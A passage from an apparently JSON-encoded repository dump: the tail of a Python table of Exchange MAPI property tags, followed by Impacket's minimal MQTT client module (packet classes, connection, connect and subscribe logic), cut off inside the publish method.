\"InferenceSessionId\"),\n        0x6826: (0x0102, None, None, 4, None, None, \"InferenceFolderId\"),\n        0x682e: (0x001f, None, None, 4, None, None, \"InferenceTimeZone\"),\n        0x682f: (0x001f, None, None, 4, None, None, \"InferenceCategory\"),\n        0x6832: (0x0003, None, None, 4, None, None, \"InferenceModuleSelected\"),\n        0x6833: (0x001f, None, None, 4, None, None, \"InferenceLayoutType\"),\n        0x6835: (0x0040, None, None, 4, None, None, \"InferenceTimeStamp\"),\n        0x6836: (0x000b, None, None, 4, None, None, \"InferenceOLKUserActivityLoggingEnabled\"),\n        0x6837: (0x001f, None, None, 4, None, None, \"InferenceClientVersion\"),\n        0x6838: (0x000b, None, None, 4, None, None, \"InferenceSSISource\"),\n        0x6839: (0x0003, None, None, 4, None, None, \"ActivityWorkload\"),\n        0x683b: (0x0003, None, None, 4, None, None, \"ActivityItemType\"),\n        0x683c: (0x0048, None, None, 4, None, None, \"ActivityContainerMailbox\"),\n        0x683d: (0x001f, None, None, 4, None, None, \"ActivityContainerId\"),\n        0x683e: (0x001f, None, None, 4, None, None, \"ActivityNonExoItemId\"),\n        0x683f: (0x0048, None, None, 4, None, None, \"ActivityClientInstanceId\"),\n        0x6840: (0x0102, None, None, 4, None, None, \"ActivityImmutableItemId\"),\n        0x6857: (0x000b, None, None, 4, None, None, \"AgingAgeFolder\"),\n        0x6858: (0x000b, None, None, 4, None, None, \"AgingDontAgeMe\"),\n        0x6859: (0x001f, None, None, 4, None, None, \"AgingFileNameAfter9\"),\n        0x685b: (0x000b, None, None, 4, None, None, \"AgingWhenDeletedOnServer\"),\n        0x685c: (0x000b, None, None, 4, None, None, \"AgingWaitUntilExpired\"),\n        0x685f: (0x0102, None, None, 4, None, None, \"ActivityImmutableEntryId\"),\n        0x6870: (0x1102, None, None, 4, None, None, \"DelegateEntryIds2\"),\n        0x6871: (0x1003, None, None, 4, None, None, \"DelegateFlags2\"),\n        0x6873: (0x0102, None, None, 4, None, None, \"InferenceTrainedModelVersionBreadCrumb\"),\n        0x6874: (0x001f, None, None, 4, None, None, \"FolderPathFullName\"),\n        0x6875: (0x0102, None, None, 4, None, None, \"ImmutableIdExport\"),\n        0x6876: (0x0102, None, None, 4, None, None, \"ControlDataForTrendingAroundMeAssistant\"),\n        0x6877: (0x101f, None, None, 4, None, None, \"RestrictionAnnotationWordBreakingTokens\"),\n        0x6878: (0x1003, None, None, 4, None, None, \"RestrictionAnnotationWordBreakingTokenLengths\"),\n        0x6879: (0x0102, None, None, 4, None, None, \"ControlDataForCalendarInsightsAssistant\"),\n        0x687a: (0x0102, None, None, 4, None, None, \"ControlDataForFreeBusyPublishingTimeBasedAssistant\"),\n        0x687b: (0x0003, None, None, 4, None, None, \"RestrictionAnnotationIndexPropertyTag\"),\n        0x687c: (0x000b, None, None, 4, None, None, \"IsAbandonedMoveDestination\"),\n        0x687d: (0x0102, None, None, 4, None, None, \"ImmutableId26Bytes\"),\n        0x687e: (0x0102, None, None, 4, None, None, \"ImmutableIdSetIn\"),\n        0x687f: (0x0102, None, None, 4, None, None, \"SearchFolderLargeRestriction\"),\n        0x689f: (0x0040, None, None, 4, None, None, \"ConversationMsgSentTime\"),\n        0x68a4: (0x001f, None, None, 4, None, None, \"PersonCompanyNameMailboxWide\"),\n        0x68a5: (0x001f, None, None, 4, None, None, \"PersonDisplayNameMailboxWide\"),\n        0x68a6: (0x001f, None, None, 4, None, None, \"PersonGivenNameMailboxWide\"),\n        0x68a7: (0x001f, None, None, 4, None, None, \"PersonSurnameMailboxWide\"),\n        0x68a8: (0x0102, None, None, 4, None, None, \"PersonPhotoContactEntryIdMailboxWide\"),\n        0x68b0: (0x001f, None, None, 4, None, None, \"PersonFileAsMailboxWide\"),\n        0x68b1: (0x0003, None, None, 4, None, None, \"PersonRelevanceScoreMailboxWide\"),\n        0x68b2: (0x000b, None, None, 4, None, None, \"PersonIsDistributionListMailboxWide\"),\n        0x68b3: (0x001f, None, None, 4, None, None, \"PersonHomeCityMailboxWide\"),\n        0x68b4: (0x0040, None, None, 4, None, None, \"PersonCreationTimeMailboxWide\"),\n        0x68b7: (0x0048, None, None, 4, None, None, \"PersonGALLinkIDMailboxWide\"),\n        0x68ba: (0x101f, None, None, 4, None, None, \"PersonMvEmailAddressMailboxWide\"),\n        0x68bb: (0x101f, None, None, 4, None, None, \"PersonMvEmailDisplayNameMailboxWide\"),\n        0x68bc: (0x101f, None, None, 4, None, None, \"PersonMvEmailRoutingTypeMailboxWide\"),\n        0x68bd: (0x001f, None, None, 4, None, None, \"PersonImAddressMailboxWide\"),\n        0x68be: (0x001f, None, None, 4, None, None, \"PersonWorkCityMailboxWide\"),\n        0x68bf: (0x001f, None, None, 4, None, None, \"PersonDisplayNameFirstLastMailboxWide\"),\n        0x68c0: (0x001f, None, None, 4, None, None, \"PersonDisplayNameLastFirstMailboxWide\"),\n        0x68c2: (0x000b, None, None, 4, None, None, \"ConversationHasClutter\"),\n        0x68c3: (0x000b, None, None, 4, None, None, \"ConversationHasClutterMailboxWide\"),\n        0x68c4: (0x0102, None, None, 4, None, None, \"ExchangeObjectId\"),\n        0x68c5: (0x0102, None, None, 4, None, None, \"ViewLargeRestriction\"),\n        0x68c6: (0x0003, None, None, 4, None, None, \"ClientDiagnosticLevel\"),\n        0x68c7: (0x0102, None, None, 4, None, None, \"ClientDiagnosticData\"),\n        0x6900: (0x0003, None, None, 4, None, None, \"ConversationLastMemberDocumentId\"),\n        0x6901: (0x001f, None, None, 4, None, None, \"ConversationPreview\"),\n        0x6902: (0x0003, None, None, 4, None, None, \"ConversationLastMemberDocumentIdMailboxWide\"),\n        0x6903: (0x0003, None, None, 4, None, None, \"ConversationInitialMemberDocumentId\"),\n        0x6904: (0x1003, None, None, 4, None, None, \"ConversationMemberDocumentIds\"),\n        0x6905: (0x0040, None, None, 4, None, None, \"ConversationMessageDeliveryOrRenewTimeMailboxWide\"),\n        0x6907: (0x1002, None, None, 4, None, None, \"ConversationMessageRichContentMailboxWide\"),\n        0x6908: (0x001f, None, None, 4, None, None, \"ConversationPreviewMailboxWide\"),\n        0x6909: (0x0040, None, None, 4, None, None, \"ConversationMessageDeliveryOrRenewTime\"),\n        0x690a: (0x001f, None, None, 4, None, None, \"ConversationWorkingSetSourcePartition\"),\n        0x690b: (0x1003, None, None, 4, None, None, \"ConversationSystemCategories\"),\n        0x690c: (0x1003, None, None, 4, None, None, \"ConversationSystemCategoriesMailboxWide\"),\n        0x690d: (0x0003, None, None, 4, None, None, \"ConversationExchangeApplicationFlagsMailboxWide\"),\n        0x690e: (0x101f, None, None, 4, None, None, \"ConversationMvMentionsMailboxWide\"),\n        0x690f: (0x101f, None, None, 4, None, None, \"ConversationMvMentions\"),\n        0x6910: (0x1102, None, None, 4, None, None, \"ConversationMvThreadIds\"),\n        0x6911: (0x1102, None, None, 4, None, None, \"ConversationMvThreadIdsMailboxWide\"),\n        0x6912: (0x0003, None, None, 4, None, None, \"ConversationLikeCountMailboxWide\"),\n        0x6913: (0x0040, None, None, 4, None, None, \"ConversationReturnTime\"),\n        0x6914: (0x0040, None, None, 4, None, None, \"ConversationReturnTimeMailboxWide\"),\n        0x6915: (0x0003, None, None, 4, None, None, \"UserActivityPayloadVersion\"),\n        0x6916: (0x000b, None, None, 4, None, None, \"ConversationAtAllMention\"),\n        0x6917: (0x000b, None, None, 4, None, None, \"ConversationAtAllMentionMailboxWide\"),\n        0x6918: (0x0003, None, None, 4, None, None, \"ConversationInferenceClassification\"),\n        0x6919: (0x0003, None, None, 4, None, None, \"ConversationCharm\"),\n        0x691a: (0x0003, None, None, 4, None, None, \"ConversationCharmMailboxWide\"),\n        0x691b: (0x0003, None, None, 4, None, None, \"SignalTypeId\"),\n        0x691c: (0x0048, None, None, 4, None, None, \"SignalAppId\"),\n        0x691d: (0x001f, None, None, 4, None, None, \"SignalActorId\"),\n        0x691e: (0x001f, None, None, 4, None, None, \"SignalClientVersion\"),\n        0x691f: (0x0048, None, None, 4, None, None, \"SignalAadTenantId\"),\n        0x6920: (0x0003, None, None, 4, None, None, \"SignalActorIdType\"),\n        0x6921: (0x0003, None, None, 4, None, None, \"SignalOS\"),\n        0x6922: (0x001f, None, None, 4, None, None, \"SignalOSVersion\"),\n        0x6923: (0x0005, None, None, 4, None, None, \"SignalLatitude\"),\n        0x6924: (0x001f, None, None, 4, None, None, \"SignalCv\"),\n        0x6925: (0x001f, None, None, 4, None, None, \"SignalClientIp\"),\n        0x6926: (0x001f, None, None, 4, None, None, \"SignalUserAgent\"),\n        0x6927: (0x001f, None, None, 4, None, None, \"SignalDeviceId\"),\n        0x6928: (0x001f, None, None, 4, None, None, \"SignalSchemaVersion\"),\n        0x6929: (0x0003, None, None, 4, None, None, \"SignalAppWorkload\"),\n        0x692a: (0x0003, None, None, 4, None, None, \"SignalCompliance\"),\n        0x692b: (0x0003, None, None, 4, None, None, \"SignalItemType\"),\n        0x692c: (0x001f, None, None, 4, None, None, \"SignalContainerId\"),\n        0x692d: (0x001f, None, None, 4, None, None, \"SignalContainerType\"),\n        0x692e: (0x0005, None, None, 4, None, None, \"SignalLongitude\"),\n        0x6930: (0x0003, None, None, 4, None, None, \"SignalLocationType\"),\n        0x6931: (0x0005, None, None, 4, None, None, \"SignalPrecision\"),\n        0x6932: (0x0003, None, None, 4, None, None, \"SignalLocaleId\"),\n        0x6933: (0x001f, None, None, 4, None, None, \"SignalTargetItemId\"),\n        0x6935: (0x0040, None, None, 4, None, None, \"SignalTimeStamp\"),\n        0x6938: (0x000b, None, None, 4, None, None, \"SignalIsClient\"),\n        0x693a: (0x001f, None, None, 4, None, None, \"ConversationSenderName\"),\n        0x693b: (0x001f, None, None, 4, None, None, \"ConversationSenderNameMailboxWide\"),\n        0x693c: (0x001f, None, None, 4, None, None, \"ConversationSenderSmtpAddress\"),\n        0x693d: (0x001f, None, None, 4, None, None, \"ConversationSenderSmtpAddressMailboxWide\"),\n        0x693e: (0x0102, None, None, 4, None, None, \"ConversationMemberCnSet\"),\n        0x693f: (0x0102, None, None, 4, None, None, \"ConversationMemberCnSetMailboxWide\"),\n        0x6940: (0x0102, None, None, 4, None, None, \"ConversationMemberImmutableIdSet\"),\n        0x6941: (0x0102, None, None, 4, None, None, \"ConversationMemberImmutableIdSetMailboxWide\"),\n        0x6942: (0x0040, None, None, 4, None, None, \"ConversationLastAttachmentsProcessedTime\"),\n        0x6943: (0x0040, None, None, 4, None, None, \"ConversationLastAttachmentsProcessedTimeMailboxWide\"),\n        0x694a: (0x001f, None, None, 4, None, None, \"SignalAppName\"),\n        0x694b: (0x0014, None, None, 4, None, None, \"SignalTimeStampOffset\"),\n        0x6e01: (0x0003, None, None, 4, None, None, \"SecurityFlags\"),\n        0x6e04: (0x000b, None, None, 4, None, None, \"SecurityReceiptRequestProcessed\"),\n        0x7000: (0x0040, None, None, 4, None, None, \"UserInformationInstanceCreationTime\"),\n        0x7018: (0x001f, None, None, 4, None, None, \"RemoteFolderDisplayName\"),\n        0x7019: (0x0102, None, None, 4, None, None, \"AssistantFilterResult\"),\n        0x701a: (0x0102, None, None, 4, None, None, \"ControlDataForTimerBrokerAssistant\"),\n        0x701b: (0x000b, None, None, 4, None, None, \"ContainsScheduledTimers\"),\n        0x701c: (0x0102, None, None, 4, None, None, \"LastScheduledTimerChangeToken\"),\n        0x701d: (0x0102, None, None, 4, None, None, \"ControlDataForBigFunnelStoreIndexAssistant\"),\n        0x701e: (0x0003, None, None, 4, None, None, \"BigFunnelStoreIndexAssistantProcessedVersion\"),\n        0x701f: (0x0003, None, None, 4, None, None, \"BigFunnelStoreIndexAssistantRequestedVersion\"),\n        0x7020: (0x0003, None, None, 4, None, None, \"PeopleRelevanceMailEventCount\"),\n        0x7021: (0x0003, None, None, 4, None, None, \"PeopleRelevanceCalendarEventCount\"),\n        0x7022: (0x0003, None, None, 4, None, None, \"PeopleRelevanceContactEventCount\"),\n        0x7023: (0x0040, None, None, 4, None, None, \"PeopleRelevanceLastSuccessfulRunTime\"),\n        0x702a: (0x0102, None, None, 4, None, None, \"MailboxFeatureStorageProperty\"),\n        0x702b: (0x0040, None, None, 4, None, None, \"LastUserActionTime\"),\n        0x7c00: (0x001f, None, None, 4, None, None, \"FavoriteDisplayName\"),\n        0x7c02: (0x0102, None, None, 4, None, None, \"FavPublicSourceKey\"),\n        0x7c03: (0x0102, None, None, 4, None, None, \"SyncFolderSourceKey\"),\n        0x7c04: (0x0102, None, None, 4, None, None, \"SyncFolderChangeKey\"),\n        0x7c09: (0x0102, None, None, 4, None, None, \"UserConfigurationStream\"),\n        0x7c0a: (0x0102, None, None, 4, None, None, \"SyncStateBlob\"),\n        0x7c0b: (0x001f, None, None, 4, None, None, \"ReplyForwardStatus\"),\n        0x7c0c: (0x001f, None, None, 4, None, None, \"PopImapPoisonMessageStamp\"),\n        0x7c14: (0x0102, None, None, 4, None, None, \"ControlDataForSystemCleanupFolderAssistant\"),\n        0x7c1a: (0x0003, None, None, 4, None, None, \"UserPhotoCacheId\"),\n        0x7c1b: (0x0003, None, None, 4, None, None, \"UserPhotoPreviewCacheId\"),\n        0x7c1c: (0x0003, None, None, 4, None, None, \"ProfileHeaderPhotoCacheId\"),\n        0x7c1d: (0x0003, None, None, 4, None, None, \"ProfileHeaderPhotoPreviewCacheId\"),\n        0x7d03: (0x0003, None, None, 4, None, None, \"FavLevelMask\"),\n        0x7d0e: (0x0014, None, None, 4, None, None, \"ImmutableId\"),\n        0x7d0f: (0x0102, None, None, 4, None, None, \"ControlDataForWeveMessageAssistant\"),\n        0x7d10: (0x0102, None, None, 4, None, None, \"WeveMessageAssistantLastMessageSentTime\"),\n        0x7d11: (0x0102, None, None, 4, None, None, \"WeveMessageAssistantLastNotificationMessageSentTime\"),\n        0x7d12: (0x0102, None, None, 4, None, None, \"ControlDataForMailboxLifecycleAssistant\"),\n        0x7d13: (0x0102, None, None, 4, None, None, \"WeveMessageAssistantLastLicenseCheckTime\"),\n        0x7d14: (0x000b, None, None, 4, None, None, \"WeveMessageAssistantLicenseExists\"),\n        0x7d15: (0x0102, None, None, 4, None, None, \"ReplacedImmutableIdBin\"),\n        0x7d16: (0x000b, None, None, 4, None, None, \"IsCloudCacheCrawlingComplete\"),\n        0x7d17: (0x0003, None, None, 4, None, None, \"CloudCacheItemSyncStatus\"),\n        0x7d18: (0x0102, None, None, 4, None, None, \"ControlDataForRecordReviewAssistant\"),\n        0x7d19: (0x0040, None, None, 4, None, None, \"LastRecordIdentifiedTime\"),\n        0x7d20: (0x0102, None, None, 4, None, None, \"ControlDataForPeopleRelevanceMultiStepAssistant\"),\n        0x7d21: (0x0102, None, None, 4, None, None, \"ControlDataForXrmSharingMaintenanceAssistant\"),\n        0x7d23: (0x0102, None, None, 4, None, None, \"ItemAssistantCrawlVersionBlob\"),\n        0x7d24: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicTba0\"),\n        0x7d25: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicTba1\"),\n        0x7d26: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicTba2\"),\n        0x7d27: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicTba3\"),\n        0x7d28: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicTba4\"),\n        0x7d29: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba0\"),\n        0x7d2a: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba1\"),\n        0x7d2b: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba2\"),\n        0x7d2c: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba3\"),\n        0x7d2d: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba4\"),\n        0x7d2e: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba5\"),\n        0x7d2f: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba6\"),\n        0x7d30: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba7\"),\n        0x7d31: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba8\"),\n        0x7d32: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba9\"),\n        0x7d33: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba10\"),\n        0x7d34: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba11\"),\n        0x7d35: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba12\"),\n        0x7d36: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba13\"),\n        0x7d37: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba14\"),\n        0x7d38: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba15\"),\n        0x7d39: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba16\"),\n        0x7d3a: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba17\"),\n        0x7d3b: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba18\"),\n        0x7d3c: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba19\"),\n        0x7d3d: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba20\"),\n        0x7d3e: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba21\"),\n        0x7d3f: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba22\"),\n        0x7d40: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba23\"),\n        0x7d41: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba24\"),\n        0x7d42: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba25\"),\n        0x7d43: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba26\"),\n        0x7d44: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba27\"),\n        0x7d45: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba28\"),\n        0x7d46: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba29\"),\n        0x7d47: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicGriffinTba30\"),\n        0x7d48: (0x0102, None, None, 4, None, None, \"ControlDataForContentClassificationAssistant\"),\n        0x7d49: (0x0102, None, None, 4, None, None, \"ControlDataForOfficeGraphSecondaryCopyQuotaTimeBasedAssistant\"),\n        0x7d4a: (0x0102, None, None, 4, None, None, \"ControlDataForOfficeGraphConvertFilesToWorkingSetAndSpoolsSubFoldersTimeBasedAssistant\"),\n        0x7d4b: (0x0102, None, None, 4, None, None, \"ControlDataForOfficeGraphSpoolsScaleOutTimeBasedAssistant\"),\n        0x7d7f: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicTba6\"),\n        0x7d80: (0x0003, None, None, 4, None, None, \"MailboxTenantSizeEstimate\"),\n        0x7d81: (0x0102, None, None, 4, None, None, \"ControlDataForMailboxTenantDataAssistant\"),\n        0x7ff7: (0x000b, None, None, 4, None, None, \"IsATPEncrypted\"),\n        0x7ff8: (0x001f, None, None, 4, None, None, \"HasDlpDetectedAttachmentClassifications\"),\n        0x8d0d: (0x001f, None, None, 4, None, None, \"ExternalDirectoryObjectId\"),\n}\n"
  },
  {
    "path": "impacket/mqtt.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Minimalistic MQTT implementation, just focused on connecting, subscribing and publishing basic\n#   messages on topics.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# References:\n#   - https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html\n#\n# ToDo:\n#   [ ] Implement all the MQTT Control Packets and operations\n#   [ ] Implement QoS = QOS_ASSURED_DELIVERY when publishing messages\n#\n\nfrom __future__ import print_function\nimport logging\nimport struct\nimport socket\nfrom impacket.structure import Structure\ntry:\n    from OpenSSL import SSL\nexcept ImportError:\n    logging.critical(\"pyOpenSSL is not installed, can't continue\")\n    raise\n\n# Packet Types\nPACKET_CONNECT = 1 << 4\nPACKET_CONNACK = 2 << 4\nPACKET_PUBLISH = 3 << 4\nPACKET_PUBACK = 4 << 4\nPACKET_PUBREC = 5 << 4\nPACKET_PUBREL = 6 << 4\nPACKET_PUBCOMP = 7 << 4\nPACKET_SUBSCRIBE = 8 << 4\nPACKET_SUBSCRIBEACK = 9 << 4\nPACKET_UNSUBSCRIBE = 10 << 4\nPACKET_UNSUBACK = 11 << 4\nPACKET_PINGREQ = 12 << 4\nPACKET_PINGRESP = 13 << 4\nPACKET_DISCONNECT = 14 << 4\n\n# CONNECT Flags\nCONNECT_USERNAME = 0x80\nCONNECT_PASSWORD = 0x40\nCONNECT_CLEAN_SESSION = 0x2\n\n# CONNECT_ACK Return Errors\nCONNECT_ACK_ERROR_MSGS = {\n    0x00: 'Connection Accepted',\n    0x01: 'Connection Refused, unacceptable protocol version',\n    0x02: 'Connection Refused, identifier rejected',\n    0x03: 'Connection Refused, Server unavailable',\n    0x04: 'Connection Refused, bad user name or password',\n    0x05: 'Connection Refused, not authorized'\n}\n\n# QoS Levels\nQOS_FIRE_AND_FORGET = 0\nQOS_ACK_DELIVERY    = 1\nQOS_ASSURED_DELIVERY= 2\n\nclass MQTT_Packet(Structure):\n    commonHdr= (\n        ('PacketType','B=0'),\n        ('MessageLength','<L=0'),\n    )\n    structure = (\n        ('_VariablePart', '_-VariablePart', 'self[\"MessageLength\"]'),\n        ('VariablePart', ':'),\n    )\n    def setQoS(self, QoS):\n        self['PacketType'] |= (QoS << 1)\n\n    def fromString(self, data):\n        if data is not None and len(data) > 2:\n            # Get the Length\n            index = 1\n            multiplier = 1\n            value = 0\n            encodedByte = 128\n            packetType = data[0]\n            while (encodedByte & 128) != 0:\n                encodedByte = ord(data[index])\n                value += (encodedByte & 127) * multiplier\n                multiplier *= 128\n                index += 1\n                if multiplier > 128 * 128 * 128:\n                    raise Exception('Malformed Remaining Length')\n            data = packetType + struct.pack('<L', value) + data[index:value+index]\n            return Structure.fromString(self, data)\n        raise Exception('Dont know')\n\n    def getData(self):\n        packetType = self['PacketType']\n        self.commonHdr = ()\n        packetLen = len(Structure.getData(self))\n        output = ''\n        while packetLen > 0:\n            encodedByte = packetLen % 128\n            packetLen /= 128\n            if packetLen > 0:\n                encodedByte |= 128\n            output += chr(encodedByte)\n        self.commonHdr = ( ('PacketType','B=0'), ('MessageLength',':'), )\n        self['PacketType'] = packetType\n        self['MessageLength'] = output\n        if output == '':\n            self['MessageLength'] = chr(00)\n\n        return Structure.getData(self)\n\n\nclass MQTT_String(Structure):\n    structure = (\n        ('Length','>H-Name'),\n        ('Name',':'),\n    )\n\nclass MQTT_Connect(MQTT_Packet):\n    structure = (\n        ('ProtocolName',':', MQTT_String),\n        ('Version','B=3'),\n        ('Flags','B=2'),\n        ('KeepAlive','>H=60'),\n        ('ClientID',':', MQTT_String),\n        ('Payload',':=\"\"'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        MQTT_Packet.__init__(self, data, alignment)\n        if data is None:\n            self['PacketType'] = PACKET_CONNECT\n\nclass MQTT_ConnectAck(MQTT_Packet):\n    structure = (\n        ('ReturnCode', '>H=0'),\n    )\n\nclass MQTT_Publish(MQTT_Packet):\n    structure = (\n        ('Topic',':', MQTT_String),\n        ('Message',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        MQTT_Packet.__init__(self, data, alignment)\n        if data is None:\n            self['PacketType'] = PACKET_PUBLISH\n\n    def getData(self):\n        if self['PacketType'] & 6 > 0:\n            # We have QoS enabled, we need to have a MessageID field\n            self.structure = (\n                ('Topic', ':', MQTT_String),\n                ('MessageID', '>H=0'),\n                ('Message', ':'),\n            )\n        return MQTT_Packet.getData(self)\n\nclass MQTT_Disconnect(MQTT_Packet):\n    structure = (\n    )\n    def __init__(self, data=None, alignment=0):\n        MQTT_Packet.__init__(self, data, alignment)\n        if data is None:\n            self['PacketType'] = PACKET_DISCONNECT\n\nclass MQTT_Subscribe(MQTT_Packet):\n    structure = (\n        ('MessageID','>H=1'),\n        ('Topic',':', MQTT_String),\n        ('Flags','B=0'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        MQTT_Packet.__init__(self, data, alignment)\n        if data is None:\n            self['PacketType'] = PACKET_SUBSCRIBE\n\nclass MQTT_SubscribeACK(MQTT_Packet):\n    structure = (\n        ('MessageID','>H=0'),\n        ('ReturnCode','B=0'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        MQTT_Packet.__init__(self, data, alignment)\n        if data is None:\n            self['PacketType'] = PACKET_SUBSCRIBEACK\n\nclass MQTT_UnSubscribe(MQTT_Packet):\n    structure = (\n        ('MessageID','>H=1'),\n        ('Topics',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        MQTT_Packet.__init__(self, data, alignment)\n        if data is None:\n            self['PacketType'] = PACKET_UNSUBSCRIBE\n\nclass MQTTSessionError(Exception):\n    \"\"\"\n    This is the exception every client should catch\n    \"\"\"\n\n    def __init__(self, error=0, packet=0, errorString=''):\n        Exception.__init__(self)\n        self.error = error\n        self.packet = packet\n        self.errorString = errorString\n\n    def getErrorCode(self):\n        return self.error\n\n    def getErrorPacket(self):\n        return self.packet\n\n    def getErrorString(self):\n        return self.errorString\n\n    def __str__(self):\n        return self.errorString\n\nclass MQTTConnection:\n    def __init__(self, host, port, isSSL=False):\n        self._targetHost = host\n        self._targetPort = port\n        self._isSSL = isSSL\n        self._socket = None\n        self._messageId = 1\n        self.connectSocket()\n\n    def getSocket(self):\n        return self._socket\n\n    def connectSocket(self):\n        s = socket.socket()\n        s.connect((self._targetHost, int(self._targetPort)))\n\n        if self._isSSL is True:\n            ctx = SSL.Context(SSL.TLS_METHOD)\n            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))\n            self._socket = SSL.Connection(ctx, s)\n            self._socket.set_connect_state()\n            self._socket.do_handshake()\n        else:\n            self._socket = s\n\n    def send(self, request):\n        return self._socket.sendall(str(request))\n\n    def sendReceive(self, request):\n        self.send(request)\n        return self.recv()\n\n    def recv(self):\n        REQUEST_SIZE = 8192\n        data = ''\n        done = False\n        while not done:\n            recvData = self._socket.recv(REQUEST_SIZE)\n            if len(recvData) < REQUEST_SIZE:\n                done = True\n            data += recvData\n\n        response = []\n        while len(data) > 0:\n            try:\n                message = MQTT_Packet(data)\n                remaining = data[len(message):]\n            except Exception:\n                # We need more data\n                remaining = data + self._socket.recv(REQUEST_SIZE)\n            else:\n               response.append(message)\n            data = remaining\n\n        self._messageId += 1\n        return response\n\n    def connect(self, clientId = ' ', username = None, password = None, protocolName = 'MQIsdp', version = 3, flags = CONNECT_CLEAN_SESSION, keepAlive = 60):\n        \"\"\"\n\n        :param clientId: Whatever cliend Id that represents you\n        :param username: if None, anonymous connection will be attempted\n        :param password: if None, anonymous connection will be attempted\n        :param protocolName: specification states default should be 'MQTT' but some brokers might expect 'MQIsdp'\n        :param version: Allowed versions are 3 or 4 (some brokers might like 4)\n        :param flags:\n        :param keepAlive: default 60\n        :return: True or MQTTSessionError if something went wrong\n        \"\"\"\n\n        # Let's build the packet\n        connectPacket = MQTT_Connect()\n        connectPacket['Version'] = version\n        connectPacket['Flags'] = flags\n        connectPacket['KeepAlive'] = keepAlive\n        connectPacket['ProtocolName'] = MQTT_String()\n        connectPacket['ProtocolName']['Name'] = protocolName\n\n        connectPacket['ClientID'] = MQTT_String()\n        connectPacket['ClientID']['Name'] = clientId\n\n        if username is not None:\n            connectPacket['Flags'] |= CONNECT_USERNAME | CONNECT_PASSWORD\n        if username is None:\n            user = ''\n        else:\n            user = username\n        if password is None:\n            pwd = ''\n        else:\n            pwd = password\n\n        username = MQTT_String()\n        username['Name'] = user\n        password = MQTT_String()\n        password['Name'] = pwd\n        connectPacket['Payload'] = str(username) + str(password)\n\n        data= self.sendReceive(connectPacket)[0]\n\n        response = MQTT_ConnectAck(str(data))\n        if response['ReturnCode'] != 0:\n            raise MQTTSessionError(error = response['ReturnCode'], errorString = CONNECT_ACK_ERROR_MSGS[response['ReturnCode']] )\n\n        return True\n\n    def subscribe(self, topic, messageID = 1, flags = 0, QoS = 1):\n        \"\"\"\n\n        :param topic: Topic name you want to subscribe to\n        :param messageID: optional messageId\n        :param flags: Message flags\n        :param QoS: define the QoS requested\n        :return: True or MQTTSessionError if something went wrong\n        \"\"\"\n        subscribePacket = MQTT_Subscribe()\n        subscribePacket['MessageID'] = messageID\n        subscribePacket['Topic'] = MQTT_String()\n        subscribePacket['Topic']['Name'] = topic\n        subscribePacket['Flags'] = flags\n        subscribePacket.setQoS(QoS)\n\n        try:\n            data = self.sendReceive(subscribePacket)[0]\n        except Exception as e:\n            raise MQTTSessionError(errorString=str(e))\n\n        subAck = MQTT_SubscribeACK(str(data))\n\n        if subAck['ReturnCode'] > 2:\n            raise MQTTSessionError(errorString = 'Failure to subscribe')\n\n        return True\n\n    def unSubscribe(self, topic, messageID = 1, QoS = 0):\n        \"\"\"\n        Unsubscribes from a topic\n\n        :param topic:\n        :param messageID:\n        :param QoS: define the QoS requested\n        :return:\n        \"\"\"\n        # ToDo: Support more than one topic\n        packet = MQTT_UnSubscribe()\n        packet['MessageID'] = messageID\n        packet['Topics'] = MQTT_String()\n        packet['Topics']['Name'] = topic\n        packet.setQoS( QoS )\n\n        return self.sendReceive(packet)\n\n    def publish(self, topic, message, messageID = 1, QoS=0):\n\n        packet = MQTT_Publish()\n        